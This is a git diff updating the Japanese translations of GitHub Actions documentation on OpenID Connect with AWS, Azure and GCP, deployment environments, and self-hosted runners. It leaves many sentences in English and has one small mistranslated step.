diff --git a/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md b/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md
index 33a04c0e18..a173dae97b 100644
--- a/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md
+++ b/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md
@@ -1,11 +1,11 @@
 ---
 title: Configuring OpenID Connect in Amazon Web Services
 shortTitle: Configuring OpenID Connect in Amazon Web Services
-intro: 'Use OpenID Connect within your workflows to authenticate with Amazon Web Services.'
+intro: Use OpenID Connect within your workflows to authenticate with Amazon Web Services.
 miniTocMaxHeadingLevel: 3
 versions:
   fpt: '*'
-  ghae: 'issue-4856'
+  ghae: issue-4856
   ghec: '*'
 type: tutorial
 topics:
@@ -15,13 +15,13 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概要
 
-OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Amazon Web Services (AWS), without needing to store the AWS credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. 
+OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Amazon Web Services (AWS), without needing to store the AWS credentials as long-lived {% data variables.product.prodname_dotcom %} secrets.
 
 This guide explains how to configure AWS to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`aws-actions/configure-aws-credentials`](https://github.com/aws-actions/configure-aws-credentials) that uses tokens to authenticate to AWS and access resources.
 
-## Prerequisites
+## 必要な環境
 
 {% data reusables.actions.oidc-link-to-intro %}
 
@@ -38,7 +38,7 @@ To add the {% data variables.product.prodname_dotcom %} OIDC provider to IAM, se
 
 To configure the role and trust in IAM, see the AWS documentation for ["Assuming a Role"](https://github.com/aws-actions/configure-aws-credentials#assuming-a-role) and ["Creating a role for web identity or OpenID connect federation"](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html).
 
-Edit the trust relationship to add the `sub` field to the validation conditions. For example:
+Edit the trust relationship to add the `sub` field to the validation conditions. 例:
 
 ```json{:copy}
 "Condition": {
@@ -48,7 +48,7 @@ Edit the trust relationship to add the `sub` field to the validation conditions.
 }
 ```
 
-## Updating your {% data variables.product.prodname_actions %} workflow
+## {% data variables.product.prodname_actions %} ワークフローを更新する
 
 To update your workflows for OIDC, you will need to make two changes to your YAML:
 1. Add permissions settings for the token.
@@ -56,14 +56,14 @@ To update your workflows for OIDC, you will need to make two changes to your YAM
 
 ### Adding permissions settings
 
-The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example:
+The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. 例:
 
 ```yaml{:copy}
 permissions:
   id-token: write
 ```
 
-You may need to specify additional permissions here, depending on your workflow's requirements. 
+You may need to specify additional permissions here, depending on your workflow's requirements.
 
 ### Requesting the access token
 
diff --git a/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md b/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md
index 80231b121a..61bb92661e 100644
--- a/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md
+++ b/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md
@@ -1,11 +1,11 @@
 ---
 title: Configuring OpenID Connect in Azure
 shortTitle: Configuring OpenID Connect in Azure
-intro: 'Use OpenID Connect within your workflows to authenticate with Azure.'
+intro: Use OpenID Connect within your workflows to authenticate with Azure.
 miniTocMaxHeadingLevel: 3
 versions:
   fpt: '*'
-  ghae: 'issue-4856'
+  ghae: issue-4856
   ghec: '*'
 type: tutorial
 topics:
@@ -15,13 +15,13 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概要
 
-OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Azure, without needing to store the Azure credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. 
+OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Azure, without needing to store the Azure credentials as long-lived {% data variables.product.prodname_dotcom %} secrets.
 
 This guide gives an overview of how to configure Azure to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`azure/login`](https://github.com/Azure/login) action that uses tokens to authenticate to Azure and access resources.
 
-## Prerequisites
+## 必要な環境
 
 {% data reusables.actions.oidc-link-to-intro %}
 
@@ -42,7 +42,7 @@ Additional guidance for configuring the identity provider:
 - For security hardening, make sure you've reviewed ["Configuring the OIDC trust with the cloud"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). For an example, see ["Configuring the subject in your cloud provider"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider).
 - For the `audience` setting,  `api://AzureADTokenExchange` is the recommended value, but you can also specify other values here.
 
-## Updating your {% data variables.product.prodname_actions %} workflow
+## {% data variables.product.prodname_actions %} ワークフローを更新する
 
 To update your workflows for OIDC, you will need to make two changes to your YAML:
 1. Add permissions settings for the token.
@@ -50,14 +50,14 @@ To update your workflows for OIDC, you will need to make two changes to your YAM
 
 ### Adding permissions settings
 
-The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example:
+The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. 例:
 
 ```yaml{:copy}
 permissions:
   id-token: write
 ```
 
-You may need to specify additional permissions here, depending on your workflow's requirements. 
+You may need to specify additional permissions here, depending on your workflow's requirements.
 
 ### Requesting the access token
 
@@ -83,7 +83,7 @@ jobs:
           client-id: ${{ secrets.AZURE_CLIENT_ID }}
           tenant-id: ${{ secrets.AZURE_TENANT_ID }}
           subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
-  
+
       - name: 'Run az commands'
         run: |
           az account show
diff --git a/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md b/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md
index ec07382cbc..531af3b6b3 100644
--- a/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md
+++ b/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md
@@ -1,11 +1,11 @@
 ---
 title: Configuring OpenID Connect in Google Cloud Platform
 shortTitle: Configuring OpenID Connect in Google Cloud Platform
-intro: 'Use OpenID Connect within your workflows to authenticate with Google Cloud Platform.'
+intro: Use OpenID Connect within your workflows to authenticate with Google Cloud Platform.
 miniTocMaxHeadingLevel: 3
 versions:
   fpt: '*'
-  ghae: 'issue-4856'
+  ghae: issue-4856
   ghec: '*'
 type: tutorial
 topics:
@@ -15,13 +15,13 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概要
 
-OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Google Cloud Platform (GCP), without needing to store the GCP credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. 
+OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Google Cloud Platform (GCP), without needing to store the GCP credentials as long-lived {% data variables.product.prodname_dotcom %} secrets.
 
 This guide gives an overview of how to configure GCP to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`google-github-actions/auth`](https://github.com/google-github-actions/auth) action that uses tokens to authenticate to GCP and access resources.
 
-## Prerequisites
+## 必要な環境
 
 {% data reusables.actions.oidc-link-to-intro %}
 
@@ -33,7 +33,7 @@ To configure the OIDC identity provider in GCP, you will need to perform the fol
 
 1. Create a new identity pool.
 2. Configure the mapping and add conditions.
-3. Connect the new pool to a service account. 
+3. Connect the new pool to a service account.
 
 Additional guidance for configuring the identity provider:
 
@@ -41,7 +41,7 @@ Additional guidance for configuring the identity provider:
 - For the service account to be available for configuration, it needs to be assigned to the `roles/iam.workloadIdentityUser` role. For more information, see [the GCP documentation](https://cloud.google.com/iam/docs/workload-identity-federation?_ga=2.114275588.-285296507.1634918453#conditions).
 - The Issuer URL to use: `https://token.actions.githubusercontent.com`
 
-## Updating your {% data variables.product.prodname_actions %} workflow
+## {% data variables.product.prodname_actions %} ワークフローを更新する
 
 To update your workflows for OIDC, you will need to make two changes to your YAML:
 1. Add permissions settings for the token.
@@ -49,14 +49,14 @@ To update your workflows for OIDC, you will need to make two changes to your YAM
 
 ### Adding permissions settings
 
-The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example:
+The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. 例:
 
 ```yaml{:copy}
 permissions:
   id-token: write
 ```
 
-You may need to specify additional permissions here, depending on your workflow's requirements. 
+You may need to specify additional permissions here, depending on your workflow's requirements.
 
 ### Requesting the access token
 
diff --git a/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md b/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md
index bcef498934..cd2eeda805 100644
--- a/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md
+++ b/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md
@@ -1,13 +1,13 @@
 ---
 title: Using OpenID Connect with reusable workflows
 shortTitle: Using OpenID Connect with reusable workflows
-intro: 'You can use reusable workflows with OIDC to standardize and security harden your deployment steps.'
+intro: You can use reusable workflows with OIDC to standardize and security harden your deployment steps.
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /actions/deployment/security-hardening-your-deployments/using-oidc-with-your-reusable-workflows
 versions:
   fpt: '*'
-  ghae: 'issue-4757-and-5856'
+  ghae: issue-4757-and-5856
   ghec: '*'
 type: how_to
 topics:
@@ -68,7 +68,7 @@ For example, the following OIDC token is for a job that was part of a called wor
 
 If your reusable workflow performs deployment steps, then it will typically need access to a specific cloud role, and you might want to allow any repository in your organization to call that reusable workflow. To permit this, you'll create the trust condition that allows any repository and any caller workflow, and then filter on the organization and the called workflow. See the next section for some examples.
 
-## Examples
+## サンプル
 
 **Filtering for reusable workflows within a specific repository**
 
@@ -87,9 +87,9 @@ You can configure a custom claim that filters for any reusable workflow in a spe
 You can configure a custom claim that filters for a specific reusable workflow. In this example, the workflow run must have originated from a job defined in the reusable workflow `octo-org/octo-automation/.github/workflows/deployment.yml`, and in any repository that is owned by the `octo-org` organization.
 
 - **Subject**:
-  - Syntax: `repo:ORG_NAME/*` 
-  - Example: `repo:octo-org/*` 
+  - Syntax: `repo:ORG_NAME/*`
+  - Example: `repo:octo-org/*`
 
 - **Custom claim**:
-  - Syntax: `job_workflow_ref:ORG_NAME/REPO_NAME/.github/workflows/WORKFLOW_FILE@ref` 
+  - Syntax: `job_workflow_ref:ORG_NAME/REPO_NAME/.github/workflows/WORKFLOW_FILE@ref`
   - Example: `job_workflow_ref:octo-org/octo-automation/.github/workflows/deployment.yml@ 10040c56a8c0253d69db7c1f26a0d227275512e2`
diff --git a/translations/ja-JP/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md b/translations/ja-JP/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md
index 065ae4b7de..0311f88013 100644
--- a/translations/ja-JP/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md
+++ b/translations/ja-JP/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md
@@ -1,7 +1,7 @@
 ---
 title: Using environments for deployment
 shortTitle: Use environments for deployment
-intro: You can configure environments with protection rules and secrets. A workflow job that references an environment must follow any protection rules for the environment before running or accessing the environment's secrets.
+intro: 保護ルールとシークレットを持つ環境を設定できます。 A workflow job that references an environment must follow any protection rules for the environment before running or accessing the environment's secrets.
 product: '{% data reusables.gated-features.environments %}'
 miniTocMaxHeadingLevel: 3
 redirect_from:
@@ -16,58 +16,58 @@ versions:
 ---
 
 
-## About environments
+## 環境について
 
 Environments are used to describe a general deployment target like `production`, `staging`, or `development`. When a {% data variables.product.prodname_actions %} workflow deploys to an environment, the environment is displayed on the main page of the repository. For more information about viewing deployments to environments, see "[Viewing deployment history](/developers/overview/viewing-deployment-history)."
 
-You can configure environments with protection rules and secrets. When a workflow job references an environment, the job won't start until all of the environment's protection rules pass. A job also cannot access secrets that are defined in an environment until all the environment protection rules pass.
+保護ルールとシークレットを持つ環境を設定できます。 ワークフローのジョブが環境を参照すると、その環境の保護ルールをすべてパスするまではジョブは開始されません。 すべての環境の保護ルールをパスするまで、ジョブは環境で定義されているシークレットにアクセスできません。
 
 {% ifversion fpt %}
 {% note %}
 
-**Note:** You can only configure environments for public repositories. If you convert a repository from public to private, any configured protection rules or environment secrets will be ignored, and you will not be able to configure any environments. If you convert your repository back to public, you will have access to any previously configured protection rules and environment secrets.
+**Note:** You can only configure environments for public repositories. リポジトリをパブリックからプライベートに変換すると、設定された保護ルールや環境のシークレットは無視されるようになり、環境は設定できなくなります。 リポジトリをパブリックに変換して戻せば、以前に設定されていた保護ルールや環境のシークレットにアクセスできるようになります。
 
-Organizations that use {% data variables.product.prodname_ghe_cloud %} can configure environments for private repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/deployment/targeting-different-environments/using-environments-for-deployment). {% data reusables.enterprise.link-to-ghec-trial %}
+Organizations that use {% data variables.product.prodname_ghe_cloud %} can configure environments for private repositories. 詳しい情報については[{% data variables.product.prodname_ghe_cloud %}のドキュメンテーション](/enterprise-cloud@latest/actions/deployment/targeting-different-environments/using-environments-for-deployment)を参照してください。 {% data reusables.enterprise.link-to-ghec-trial %}
 
 {% endnote %}
 {% endif %}
 
-## Environment protection rules
+## 環境の保護ルール
 
-Environment protection rules require specific conditions to pass before a job referencing the environment can proceed. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can use environment protection rules to require a manual approval, delay a job, or restrict the environment to certain branches.{% else %}You can use environment protection rules to require a manual approval or delay a job.{% endif %}
+環境の保護ルールは、その環境を参照しているジョブが進行する前に特定の条件をパスすることを要求します。 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}環境保護ルールを使用して、手動による承認を要求したり、ジョブを遅延させたり、環境を特定のブランチに制限したりすることができます。{% else %}環境保護ルールを使用して、手動による承認を要求したり、ジョブを遅延させたりすることができます。{% endif %}
 
-### Required reviewers
+### 必須のレビュー担当者
 
-Use required reviewers to require a specific person or team to approve workflow jobs that reference the environment. You can list up to six users or teams as reviewers. The reviewers must have at least read access to the repository. Only one of the required reviewers needs to approve the job for it to proceed.
+必須のレビュー担当者を使って、特定の人もしくはTeamがその環境を参照するワークフローのジョブを承認しなければならないようにすることができます。 最大で6人のユーザもしくはTeamをレビュー担当者とすることができます。 レビュー担当者は、少なくともそのリポジトリの読み取りアクセス権を持っていなければなりません。 ジョブが進行するため承認が必要なレビュー担当者は1人だけです。
 
-For more information on reviewing jobs that reference an environment with required reviewers, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)."
+必須のレビュー担当者を持つ環境を参照しているジョブのレビューに関する詳しい情報については「[デプロイメントのレビュー](/actions/managing-workflow-runs/reviewing-deployments)」を参照してください。
 
-### Wait timer
+### 待機タイマー
 
-Use a wait timer to delay a job for a specific amount of time after the job is initially triggered. The time (in minutes) must be an integer between 0 and 43,200 (30 days).
+ジョブが最初にトリガーされた後、特定の時間ジョブを遅延させるために、待機タイマーを使ってください。 時間（分）は、0から43,200（30日）の間の整数でなければなりません。
 
 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}
-### Deployment branches
+### デプロイメントブランチ
 
-Use deployment branches to restrict which branches can deploy to the environment. Below are the options for deployment branches for an environment:
+デプロイメントブランチを使用して、環境にデプロイできるブランチを制限します。 環境のデプロイメントブランチのオプションは以下のとおりです。
 
-* **All branches**: All branches in the repository can deploy to the environment.
-* **Protected branches**: Only branches with branch protection rules enabled can deploy to the environment. If no branch protection rules are defined for any branch in the repository, then all branches can deploy. For more information about branch protection rules, see "[About protected branches](/github/administering-a-repository/about-protected-branches)."
-* **Selected branches**: Only branches that match your specified name patterns can deploy to the environment.
+* **すべてのブランチ**: リポジトリ内のすべてのブランチを環境にデプロイできます。
+* **保護されたブランチ**: 環境にデプロイできるのはブランチ保護ルールが有効になっているブランチのみです。 リポジトリ内のどのブランチにもブランチ保護ルールが定義されていない場合は、すべてのブランチをデプロイできます。 ブランチ保護ルールの詳細については、「[保護されたブランチについて](/github/administering-a-repository/about-protected-branches)」を参照してください。
+* **選択したブランチ**: 環境にデプロイできるのは指定した名前パターンに一致するブランチのみです。
 
-  For example, if you specify `releases/*` as a deployment branch rule, only branches whose name begins with `releases/` can deploy to the environment. (Wildcard characters will not match `/`. To match branches that begin with `release/` and contain an additional single slash, use `release/*/*`.) If you add `main` as a deployment branch rule, a branch named `main` can also deploy to the environment. For more information about syntax options for deployment branches, see the [Ruby File.fnmatch documentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch).
+  たとえば、デプロイメントブランチルールとして `releases/*` を指定した場合、名前が `releases/` で始まるブランチのみが環境にデプロイできます。 （ワイルドカード文字は `/` と一致しません。 `release/` で始まり、追加の単一スラッシュを含むブランチを一致させるには、`release/*/*` を使用します。） `main` をデプロイメントブランチルールとして追加すると、`main` という名前のブランチも環境にデプロイできます。 デプロイメントブランチの構文オプションの詳細については、[Ruby File.fnmatch documentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch) のドキュメントを参照してください。
 {% endif %}
-## Environment secrets
+## 環境のシークレット
 
-Secrets stored in an environment are only available to workflow jobs that reference the environment. If the environment requires approval, a job cannot access environment secrets until one of the required reviewers approves it. For more information about secrets, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+環境に保存されたシークレットは、その環境を参照するワークフロージョブからのみ利用できます。 環境が承認を必要とするなら、ジョブは必須のレビュー担当者の一人が承認するまで環境のシークレットにアクセスできません。 シークレットに関する詳しい情報については「[暗号化されたシークレット](/actions/reference/encrypted-secrets)」を参照してください。
 
 {% note %}
 
-**Note:** Workflows that run on self-hosted runners are not run in an isolated container, even if they use environments. Environment secrets should be treated with the same level of security as repository and organization secrets. For more information, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#hardening-for-self-hosted-runners)."
+**注釈:** セルフホストランナーで実行されるワークフローは、環境を使用している場合でも、分離されたコンテナでは実行されません。 Environment secrets should be treated with the same level of security as repository and organization secrets. 詳しい情報については「[GitHub Actionsのためのセキュリティ強化](/actions/learn-github-actions/security-hardening-for-github-actions#hardening-for-self-hosted-runners)」を参照してください。
 
 {% endnote %}
 
-## Creating an environment
+## 環境の作成
 
 {% data reusables.github-actions.permissions-statement-environment %}
 
@@ -78,7 +78,7 @@ Secrets stored in an environment are only available to workflow jobs that refere
 {% data reusables.github-actions.name-environment %}
 1. Optionally, specify people or teams that must approve workflow jobs that use this environment.
    1. Select **Required reviewers**.
-   1. Enter up to 6 people or teams. Only one of the required reviewers needs to approve the job for it to proceed.
+   1. Enter up to 6 people or teams. ジョブが進行するため承認が必要なレビュー担当者は1人だけです。
    1. Click **Save protection rules**.
 2. Optionally, specify the amount of time to wait before allowing workflow jobs that use this environment to proceed.
    1. Select **Wait timer**.
@@ -87,37 +87,37 @@ Secrets stored in an environment are only available to workflow jobs that refere
 3. Optionally, specify what branches can deploy to this environment. For more information about the possible values, see "[Deployment branches](#deployment-branches)."
    1. Select the desired option in the **Deployment branches** dropdown.
    1. If you chose **Selected branches**, enter the branch name patterns that you want to allow.
-4. Optionally, add environment secrets. These secrets are only available to workflow jobs that use the environment. Additionally, workflow jobs that use this environment can only access these secrets after any configured rules (for example, required reviewers) pass. For more information about secrets, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+4. Optionally, add environment secrets. These secrets are only available to workflow jobs that use the environment. Additionally, workflow jobs that use this environment can only access these secrets after any configured rules (for example, required reviewers) pass. シークレットに関する詳しい情報については「[暗号化されたシークレット](/actions/reference/encrypted-secrets)」を参照してください。
    1. Under **Environment secrets**, click **Add Secret**.
    1. Enter the secret name.
    1. Enter the secret value.
-   1. Click **Add secret**.
+   1. [**Add secret（シークレットの追加）**] をクリックします。
 
-{% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can also create and configure environments through the REST API. For more information, see "[Environments](/rest/reference/repos#environments)" and "[Secrets](/rest/reference/actions#secrets)."{% endif %}
+{% ifversion fpt or ghae or ghes > 3.1 or ghec %}REST API を介して環境を作成および設定することもできます。 詳しい情報については、「[環境](/rest/reference/repos#environments)」および「[シークレット](/rest/reference/actions#secrets)」を参照してください。{% endif %}
 
-Running a workflow that references an environment that does not exist will create an environment with the referenced name. The newly created environment will not have any protection rules or secrets configured. Anyone that can edit workflows in the repository can create environments via a workflow file, but only repository admins can configure the environment.
+存在しない環境を参照するワークフローを実行すると、参照された名前を持つ環境が作成されます。 新しく作成される環境には、保護ルールやシークレットは設定されていません。 リポジトリのワークフローを編集できる人は、ワークフローファイルを通じて環境を作成できますが、その環境を設定できるのはリポジトリ管理者だけです。
 
 ## Using an environment
 
-Each job in a workflow can reference a single environment. Any protection rules configured for the environment must pass before a job referencing the environment is sent to a runner. The job can access the environment's secrets only after the job is sent to a runner.
+ワークフロー内の各ジョブは、1つの環境を参照できます。 この環境を参照するとジョブがランナーに送信される前に、環境に設定された保護ルールをパスしなければなりません。 The job can access the environment's secrets only after the job is sent to a runner.
 
-When a workflow references an environment, the environment will appear in the repository's deployments. For more information about viewing current and previous deployments, see "[Viewing deployment history](/developers/overview/viewing-deployment-history)."
+ワークフローが環境を参照する場合、その環境はリポジトリのデプロイメントに現れます。 現在及び以前のデプロイメントの表示に関する詳細については「[デプロイメント履歴の表示](/developers/overview/viewing-deployment-history)」を参照してください。
 
 {% data reusables.actions.environment-example %}
 
-## Deleting an environment
+## 環境の削除
 
 {% data reusables.github-actions.permissions-statement-environment %}
 
-Deleting an environment will delete all secrets and protection rules associated with the environment. Any jobs currently waiting because of protection rules from the deleted environment will automatically fail.
+環境を削除すると、その環境に関連づけられたすべてのシークレットと保護ルールが削除されます。 削除された環境の保護ルールのために待機していたジョブは、自動的に失敗します。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.github-actions.sidebar-environment %}
-1. Next to the environment that you want to delete, click {% octicon "trash" aria-label="The trash icon" %}.
-2. Click **I understand, delete this environment**.
+1. 削除する環境の横にある {% octicon "trash" aria-label="The trash icon" %} をクリックします。
+2. **I understand, delete this environment（分かりました、この環境を削除してください）**をクリックしてください。
 
-{% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can also delete environments through the REST API. For more information, see "[Environments](/rest/reference/repos#environments)."{% endif %}
+{% ifversion fpt or ghae or ghes > 3.1 or ghec %}REST API を介して環境を削除することもできます。 詳しい情報については、「[環境](/rest/reference/repos#environments)」を参照してください。{% endif %}
 
 ## How environments relate to deployments
 
@@ -125,6 +125,6 @@ Deleting an environment will delete all secrets and protection rules associated
 
 You can access these objects through the REST API or GraphQL API. You can also subscribe to these webhook events. For more information, see "[Repositories](/rest/reference/repos#deployments)" (REST API), "[Objects]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#deployment)" (GraphQL API), or "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment)."
 
-## Next steps
+## 次のステップ
 
 {% data variables.product.prodname_actions %} provides several features for managing your deployments. For more information, see "[Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions)."
diff --git a/translations/ja-JP/content/actions/guides.md b/translations/ja-JP/content/actions/guides.md
index f6cec21fcb..8c2ec58e21 100644
--- a/translations/ja-JP/content/actions/guides.md
+++ b/translations/ja-JP/content/actions/guides.md
@@ -1,6 +1,6 @@
 ---
 title: Guides for GitHub Actions
-intro: 'These guides for {% data variables.product.prodname_actions %} include specific use cases and examples to help you configure workflows.'
+intro: '{% data variables.product.prodname_actions %} のこれらのガイドには、ワークフローの設定に役立つ特定の使用例とサンプルが含まれています。'
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
diff --git a/translations/ja-JP/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md b/translations/ja-JP/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md
index b1bd8075ff..e148e0426a 100644
--- a/translations/ja-JP/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md
+++ b/translations/ja-JP/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md
@@ -1,6 +1,6 @@
 ---
-title: Adding self-hosted runners
-intro: 'You can add a self-hosted runner to a repository, an organization, or an enterprise.'
+title: セルフホストランナーの追加
+intro: リポジトリ、Organization、Enterpriseにセルフホストランナーを追加できます。
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/adding-self-hosted-runners
   - /actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners
@@ -17,25 +17,25 @@ shortTitle: Add self-hosted runners
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-You can add a self-hosted runner to a repository, an organization, or an enterprise.
+リポジトリ、Organization、Enterpriseにセルフホストランナーを追加できます。
 
-If you are an organization or enterprise administrator, you might want to add your self-hosted runners at the organization or enterprise level. This approach makes the runner available to multiple repositories in your organization or enterprise, and also lets you to manage your runners in one place.
+Organization または Enterprise 管理者の場合は、Organization または Enterprise レベルでセルフホストランナーを追加することをお勧めします。 このアプローチにより、Organization または Enterprise 内の複数のリポジトリでランナーを使用できるようになり、ランナーを1か所で管理することもできます。
 
-For information on supported operating systems for self-hosted runners, or using self-hosted runners with a proxy server, see "[About self-hosted runners](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)."
+セルフホストランナーでサポートされているオペレーティングシステム、あるいはプロキシサーバーとセルフホストランナーを使う方法に関する情報については、「[セルフホストランナーについて](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)」を参照してください。
 
 {% ifversion not ghae %}
 {% warning %}
 
-**Warning:** {% data reusables.github-actions.self-hosted-runner-security %}
+**警告：** {% data reusables.github-actions.self-hosted-runner-security %}
 
-For more information, see "[About self-hosted runners](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+詳しい情報については「[セルフホストランナーについて](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)」を参照してください。
 
 {% endwarning %}
 {% endif %}
 
-## Adding a self-hosted runner to a repository
+## リポジトリへのセルフホストランナーの追加
 
-You can add self-hosted runners to a single repository. To add a self-hosted runner to a user repository, you must be the repository owner. For an organization repository, you must be an organization owner or have admin access to the repository. For information about how to add a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
+単一のリポジトリにセルフホストランナーを追加できます。 セルフホストランナーをユーザのリポジトリに追加するには、リポジトリのオーナーでなければなりません。 Organizationのリポジトリの場合は、Organizationのオーナーであるか、そのリポジトリの管理アクセスを持っていなければなりません。 For information about how to add a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
 
 {% ifversion fpt or ghec %}
 {% data reusables.repositories.navigate-to-repo %}
@@ -49,14 +49,15 @@ You can add self-hosted runners to a single repository. To add a self-hosted run
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.github-actions.settings-sidebar-actions-runners %}
-1. Under {% ifversion fpt or ghes > 3.1 or ghae or ghec %}"Runners"{% else %}"Self-hosted runners"{% endif %}, click **Add runner**.
+1. GitHub Insightsの
+{% ifversion fpt or ghes > 3.1 or ghae or ghec %}"ランナー"{% else %}"セルフホストランナー"{% endif %} で、[**Add runner**] をクリックします。
 {% data reusables.github-actions.self-hosted-runner-configure %}
 {% endif %}
 {% data reusables.github-actions.self-hosted-runner-check-installation-success %}
 
-## Adding a self-hosted runner to an organization
+## Organizationへのセルフホストランナーの追加
 
-You can add self-hosted runners at the organization level, where they can be used to process jobs for multiple repositories in an organization. To add a self-hosted runner to an organization, you must be an organization owner. For information about how to add a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
+セルフホストランナーをOrganizationのレベルで追加し、Organization内の複数のリポジトリのジョブを処理するために使うことができます。 Organizationにセルフホストランナーを追加するには、Organizationのオーナーでなければなりません。 For information about how to add a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
 
 {% ifversion fpt or ghec %}
 {% data reusables.organizations.navigate-to-org %}
